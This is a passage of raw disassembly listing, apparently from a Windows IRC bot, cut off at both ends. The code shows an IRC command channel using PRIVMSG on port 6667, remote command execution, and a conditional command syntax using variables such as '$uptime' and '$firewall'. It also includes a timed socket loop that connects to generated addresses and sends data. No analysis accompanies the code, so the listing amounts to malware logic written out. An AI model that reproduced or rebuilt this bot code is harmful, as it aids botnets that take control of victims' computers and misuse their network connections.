loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC00 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE00 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE00 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE00 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE00 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE00 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE00 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree_0 ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree_0 ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E974 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE00 push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; 